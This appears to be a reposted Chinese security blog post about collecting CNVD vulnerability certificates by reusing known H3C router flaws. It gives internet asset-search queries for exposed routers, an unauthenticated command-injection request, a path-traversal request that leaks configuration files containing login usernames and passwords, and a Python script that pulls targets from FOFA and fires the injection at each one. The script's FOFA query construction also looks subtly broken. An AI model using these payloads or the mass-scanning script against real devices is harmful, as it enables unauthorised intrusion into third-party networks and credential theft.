该篇是利用nday或者1day来进行捡漏的刷洞技巧
通用型:
中危及中危以上的通用性漏洞(CVSS2.0基准评分超过4.0)
软件开发商注册资金大于等于5000万人民币并且十个URL案例
(3个复现,剩下7个贴上URL即可)
找网络设备(有多种型号的)
这里的刷洞技巧就是需要有多种型号的,有多种型号就有机会捡漏到cnvd证书(本文举例H3C的设备)
这里比如挑选H3C的网络设备进行刷洞,可以看到有多种型号
然后再搜一搜
资产发现:
fofa:app="H3C-Ent-Router"
hunter:
app.name="H3C Router Management"
漏洞1:
H3C多系列路由器存在前台RCE漏洞
> 漏洞编号:
> 漏洞说明:Referer: http://{{Hostname}}/userLogin.asp
访问http://xxx/test
> 漏洞特征:
> 验证脚本:HTTP
```
POST /goform/aspForm HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp¶m=1; $(ls>/www/test);
```
> 响应代码特征:302
漏洞2:
H3C多系列路由器存在任意用户登录漏洞
> 漏洞编号:
> 漏洞说明:根据根据系统名修改payload 中的 ER2200G2.cfg
> 漏洞特征:
> 验证脚本:HTTP
```
GET /userLogin.asp/../actionpolicy_status/../{设备型号}.cfg HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
> 响应代码特征:200
> 响应内容特征:^(?=.*?vtyname)(?=.*?vtypasswd).*?$
漏洞1复现截图:
响应包为302
访问/test获得执行结果
漏洞2复现截图:
获得账号和密码即可登录
然后我们写个批量poc检测脚本(这里是用的漏洞1):
import requests
# 设置 FOFA API Key 和查询语句
FOFA_EMAIL = "[email protected]"
FOFA_KEY = "your_fofa_api_key"
QUERY = 'app="H3C-Ent-Router"'
# 使用 FOFA 获取目标资产列表
def get_targets():
url = "https://fofa.info/api/v1/search/all"
params = {"qbase64": FOFA_KEY.encode("utf-8").hex() + "=" + QUERY.encode("utf-8").hex(),
"email": FOFA_EMAIL }
response = requests.get(url, params=params)
if response.status_code == 200:
results = response.json()
return [result[0] for result in results["results"]]
else:
raise Exception("Failed to retrieve targets from FOFA")
# 构造并发送包含 pop 参数的 POST 请求
def send_request(target_url):
url = target_url + "/goform/aspForm"
headers = {"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": target_url + "/userLogin.asp",
"Accept-Encoding": "gzip"}
data = {"CMD": "DelL2tpLNSList", "GO": "vpn_l2tp_session.asp", "param": "1; $(ls>/www/test);" }
response = requests.post(url, headers=headers, data=data, allow_redirects=False)
if response.status_code == 302:
url = target_url + "/test"
kali = requests.get(url,verify=False)
if kali.text == "var":
print(f"[+] Target {target_url} is vulnerable!")
else:
print(f"[-] Target {target_url} is not vulnerable.")
# 获取目标资产列表,并逐个发送请求
targets = get_targets()
for target in targets:
try:
send_request(target)
except Exception as ex:
print(f"[-] Failed to test target {target}: {ex}")
再根据你找的这个型号在cnvd官网查一下,没有我们就可以尝试提交
这些都可以去试试其他的型号,捡漏成功就是一张证书
# 往期推荐 #
~
原文始发于微信公众号(PwnPigPig):CNVD通用型漏洞挖掘-cnvd证书的刷洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论